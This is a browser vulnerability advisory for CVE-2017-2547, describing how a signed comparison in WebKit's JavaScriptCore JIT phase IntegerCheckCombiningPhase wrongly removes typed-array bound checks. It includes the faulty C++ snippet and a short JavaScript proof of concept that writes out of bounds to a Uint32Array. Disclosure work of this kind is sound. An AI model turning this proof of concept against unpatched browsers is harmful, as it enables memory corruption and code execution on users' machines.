WebKit JSC JIT Optimization Failure - Bound Check Remova

` WebKit: JSC: JIT optimization check failed in IntegerCheckCombiningPhase::handleBlock   
  
CVE-2017-2547  
  
  
When compiling Javascript code into machine code, bound checks for all accesses to a typed array are also inserted. These bound checks are re-optimized and the unnecessary checks are removed, which is performed by IntegerCheckCombiningPhase::handleBlock.  
For example, when the following JavaScript code is compiled, there are all bound checks for 8, 5, 2, but after the optimization, the checks for 5 and 2 are removed, and the only check for 8 will remain.  
  
function f() {  
let arr = new Uint32Array(10);  
for (let i = 0; i < 0x100000; i++) {  
parseInt();  
}  
arr[8] = 1;  
arr[5] = 2;  
arr[2] = 3;  
}  
  
f();  
  
Note: parseInt is for forcing to start the JIT optimization.  
  
Here's a snippet IntegerCheckCombiningPhase::handleBlock.  
  
void handleBlock(BlockIndex blockIndex)  
{  
...  
if (range.m_count) {  
if (data.m_addend > range.m_maxBound) {  
range.m_maxBound = data.m_addend;  
range.m_maxOrigin = node->origin.semantic;  
} else if (data.m_addend < range.m_minBound) {  
range.m_minBound = data.m_addend;  
range.m_minOrigin = node->origin.semantic;  
}  
...  
}  
  
The problem is that the check |data.m_addend > range.m_maxBound| is a signed comparison.  
  
PoC:  
function f() {  
let arr = new Uint32Array(10);  
for (let i = 0; i < 0x100000; i++) {  
parseInt();  
}  
arr[8] = 1;  
arr[-0x12345678] = 2;  
}  
  
f();  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.
